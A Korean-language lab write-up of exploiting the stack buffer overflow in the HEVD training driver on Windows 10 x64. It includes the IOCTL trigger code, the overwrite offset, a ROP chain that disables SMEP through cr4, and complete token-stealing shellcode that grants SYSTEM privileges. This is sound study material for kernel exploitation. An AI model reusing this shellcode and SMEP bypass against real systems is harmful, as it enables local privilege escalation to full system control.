HEVD 취약한 드라이버 함수중에 제일 쉬운애다.. 하지만 이것도 거의 한 2주가 걸렸다 ㅠ 뭐가 문제였는진 아직도 잘 모르겠지만..
Environment
- windows 10 x64 2004
Vuln func
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer, _In_ SIZE_T Size)
{
...
}
취약점이 존재하는 함수는 TriggerBufferOverflowStack
이다.
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
SECURE
부분을 확인해보면, 커널 버퍼 크기만큼 복사를 하기 때문에 오버플로우가 발생할일이 없다.
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
//
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
하지만 아닌 경우에는, 유저영역에서 넘겨준 사이즈만큼 커널 버퍼에 복사하게 된다. 크기를 따로 검사하는 로직이 존재하지 않기 때문에 발생하는 취약점이다.
Trigger Vuln
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
일단 드라이버 코드에서 볼 수 있던것과 동일하게 IOCTL
을 정의한다. stack overflow
는 0x800
번을 사용한다.
일단 얼마나 덮어써야하는지 확인해야하니까 windbg를 붙여서 확인해보았다.
if (!DeviceIoControl(driverHandle, HEVD_IOCTL_BUFFER_OVERFLOW_STACK, buf, 0x83, NULL, 0, NULL, NULL)) {
printf("\t[-] Error sending IOCTL to driver\n");
return 0;
}
DeviceIoControl
함수를 통해 IOCTL을 호출할 수 있다. 두번째 인자에 IOCTL
을 주면 된다. 그리고 드라이버버가 받는 인자가 버퍼와 사이즈 두개이므로 위와 같이 주면 된다. 일단 당장 오버플로우를 일으킬건 아니니까 작게 보내본다.
0: kd> bp HEVD!TriggerBufferOverflowStack
0: kd> g
windbg에 브레이크 포인트는 해당 취약 함수에 걸어준다.
2: kd> k
# Child-SP RetAddr Call Site
00 fffff908`1099eee0 fffff804`065765ae HEVD!TriggerBufferOverflowStack+0xcf
01 fffff908`1099f720 fffff804`06575253 HEVD!BufferOverflowStackIoctlHandler+0x1a
02 fffff908`1099f750 fffff804`0a4d1f35 HEVD!IrpDeviceIoCtlHandler+0x1db
03 fffff908`1099f780 fffff804`0a8a6fb8 nt!IofCallDriver+0x55
브포 걸린곳에서 콜스택을 확인해보면 현재 위치에서 리턴 주소가 fffff804065765ae
인 것을 볼 수 있다.
버퍼 시작 위치부터 리턴주소 위치까지는 0x818
만큼 떨어져있다. 따라서 0x818
만큼 더미를 채우고, 8바이트만큼 쓰면 해당 8바이트로 리턴 흐름을 바꿀 수 있게 된다. 그냥 0x41
로 채워보면 커널 패닉이 난다. 해봐도 되지만 난 이미 너무 많이 해서 보고싶지 않아서 안할것이다..
아무튼 이렇게 DeviceIoControl
함수를 호출하면서 사이즈를 크게 줌으로써 취약점을 트리거할 수 있다는 사실을 확인했다. 이렇게해서 리턴 주소도 덮어쓸 수 있다. 그렇다면.. 뭘로 덮어써야할지가 중요하다 이제
SMEP bypass
보호기법에 대한 자세한 이야기는 따로 작성해야겠다. 일단 해당 윈도우 커널 버전에서는 SMEP
이 활성화 되어있으므로, 커널 공간에서 유저공간에 있는 코드를 실행할 수 없다. 즉, 쉘코드를 암만 갖다 써놔도 실행하면 터진다는 것이다.
그렇다면 SMEP
을 비활성화 시키면 된다. SMEP
은 cr4
레지스터의 20번째 비트이다. 해당 부분을 0으로 바꿔주면 된다.
이건 windbg에서 Register > kernel 부분에서 확인할 수 있고, 계산기로 뚜들겨보면 나온다.
내 기존 cr4
값은 0x00000000003506f8
이고, SMEP
을 비활성화 시키면 0x00000000002506f8
이다.
이렇게 cr4
값을 바꾸기 위해서 ROP gadget을 사용하면 된다.
나는 pop rcx; ret; mv cr4, rcx; ret;
가젯을 사용했다.
2: kd> uf HvlEndSystemInterrupt
nt!HvlEndSystemInterrupt:
fffff8040a5f01a0 4851 push rcx
fffff8040a5f01a2 50 push rax
...
nt!HvlEndSystemInterrupt+0x1e:
fffff8040a5f01be 5a pop rdx
fffff8040a5f01bf 58 pop rax
fffff8040a5f01c0 59 pop rcx // first gadget
fffff8040a5f01c1 c3 ret
nt!HvlEndSystemInterrupt
에서 첫번째 가젯을 찾을 수 있다.
2: kd> uf nt!KiConfigureDynamicProcessor
nt!KiConfigureDynamicProcessor:
fffff8040abacca0 4883ec28 sub rsp,28h
fffff8040abacca4 e82ba8feff call nt!KiEnableXSave (fffff8040ab974d4)
fffff8040abacca9 4883c428 add rsp,28h
fffff8040abaccad c3 ret
2: kd> uf fffff8040ab974d4
nt!KiEnableXSave:
fffff8040ab974d4 0f20e1 mov rcx,cr4
fffff8040ab974d7 48f705763f360000008000 test qword ptr [nt!KeFeatureBits (fffff8040aefb458)],800000h
fffff8040ab974e2 b800000400 mov eax,40000h
fffff8040ab974e7 0f84e6c00000 je nt!KiEnableXSave+0xc0ff (fffff8040aba35d3) Branch
...
nt!KiEnableXSave+0xc108:
fffff8040aba35dc 480fbaf112 btr rcx,12h
fffff8040aba35e1 0f22e1 mov cr4,rcx // second gadget
fffff8040aba35e4 c3 ret
nt!KiEnableXSave
에 두번째로 사용할 가젯이 존재한다.
pop rcx; ret;
new cr4 value
mov cr4, rcx; ret;
shellcode address
그리고 다음과 같이 페이로드를 구성해주면 된다!
Token Stealing
리눅스에서 시스템 쉘을 딸때는 cred
를 root
권한으로 바꿔줌으로써 얻을 수 있었다. 윈도우는 좀 다른 방식을 사용한다. System의 토큰을 훔쳐와서(?) ㅋㅋㅋ 복사해서 내가 실행하고 있는 프로그램의 토큰에다가 복사해주면 된다.
윈도우에는 _EPROCESS
라는 구조체가 존재한다. 해당 구조체는 커널모드에서의 프로세스 구조체를 나타낸다. 해당 구조체 안에 토큰이 들어있다.
이와같이 _EPROCESS
구조체의 0x4b8
위치에 토큰값이 존재한다. 이 위치는 버전마다 많이 차이가 나는 것 같으므로 직접 확인을 해야한다.
시스템의 토큰을 가져오는 과정은 다음과 같다.
일단 시스템 프로세스의 주소를 찾고, 시스템 프로세스의 아이디가 4인것을 확인할 수 있다. 그리고 토큰 위치는 항상 0x4b8
이므로, 주소를 찾았다면 오프셋을 기준으로 찾아가면 된다. 그리고 위에 보이는 것 처럼, 토큰의 마지막 4비트는 RefCnt
값으로, 참조를 추적할 수 있도록 해주는 부분인데, 토큰을 복사할때는 이 부분을 0으로 초기화시켜주어야 한다.
즉, 전체적인 과정은 프로세스 아이디를 확인하여 시스템 프로세스를 찾고, 해당 프로세스의 토큰값을 저장하여 복사해오면 된다.
프로세스를 찾는 것은 _EPROCESS
의 ActiveProcessLinks
필드를 이용하면 된다. 해당 필드는 이중 연결 리스트로, 프로세스들의 목록에 대한 리스트 포인터라고 할 수 있다. 해당 포인터를 이용하여 프로세스 아이디가 4인 프로세스를 찾으면 된다.
CHAR ShellCode[] =
"\x41\x50\x41\x51\x52\x51\x50" // push r8, r9, rdx, rcx, rax
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)
"\x4D\x8B\x88\x48\x04\x00\x00" // mov r9, [r8 + 448h] ; ActiveProcessLinks list head
"\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list
//find_system_proc:
"\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
"\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process
"\x74\x05" // jz found_system ; Found SYSTEM token
"\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
"\xEB\xF1" // jmp find_system_proc ; Loop
//found_system:
"\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token
"\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
"\x49\x89\x80\xB8\x04\x00\x00" // mov [r8 + 4b8h], rax ; Copy SYSTEM token to current process's token
//recover:
"\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash
"\x48\x31\xFF" // xor rdi, rdi ; Zeroing out rdi register to avoid Crash
"\x58\x59\x5A\x41\x59\x41\x58" // popopopoppop
"\x48\x83\xc4\x10" // add rsp, 10h ; Set Stack Pointer to SMEP enable ROP chain
"\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS
"\xc3" // ret
;
쉘코드는 다음과 같이 작성했다. 일단 쉘코드를 실행하는동안 변경되는 레지스터들은 미리 push
해놓는다.
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h]
이 두줄은 현재 프로세스의 주소를 반환하는 함수의 어셈블리를 그대로 가져온 것이다. 이 함수를 실행하고 나면 r8
에 현재 프로세스의 주소가 담겨있다.
이후 이 주소를 기준으로 프로세스 목록 포인터를 받아오고, 거기서 시스템 프로세스를 찾아서 토큰을 복사해오면 된다.
마지막으로 리턴 주소를 맞춰주기 위해, rsp
를 조정해주면 된다.
2: kd> k
# Child-SP RetAddr Call Site
00 fffff908`1099eee0 fffff804`065765ae HEVD!TriggerBufferOverflowStack+0xcf
01 fffff908`1099f720 fffff804`06575253 HEVD!BufferOverflowStackIoctlHandler+0x1a
02 fffff908`1099f750 fffff804`0a4d1f35 HEVD!IrpDeviceIoCtlHandler+0x1db
03 fffff908`1099f780 fffff804`0a8a6fb8 nt!IofCallDriver+0x55
기존 콜스택에서 HEVD!IrpDeviceIoCtlHandler+0x1db
주소로 리턴할것이고, 그러기 위해서 나는 rsp
에 0x10
만큼 더해주어야했다.
Exploit
dummy(0x818)+pop rcx(0x8)+new cr4(0x8)+mv cr4,rcx(0x8)+shellcode address(0x8) = 0x838
총 0x838
바이트를 전송하였다.
사용자 권한으로 띄운 쉘이 관리자 권한을 얻게 되는 것을 확인할 수 있다.
익스플로잇 코드는 https://github.com/usrbin-sim/windows_kernel_study/blob/master/HEVD/stackOverflow.c 여기 있다.
References
https://www.abatchy.com/2018/01/kernel-exploitation-4
https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/#
'Kernel > Windows' 카테고리의 다른 글
[Windows][HEVD] build 환경 구축(feat. Windows driver 개발 환경 구축) (0) | 2020.09.01 |
---|---|
[Windows] VMware windbg 설정(+ windbg preview) (0) | 2020.08.09 |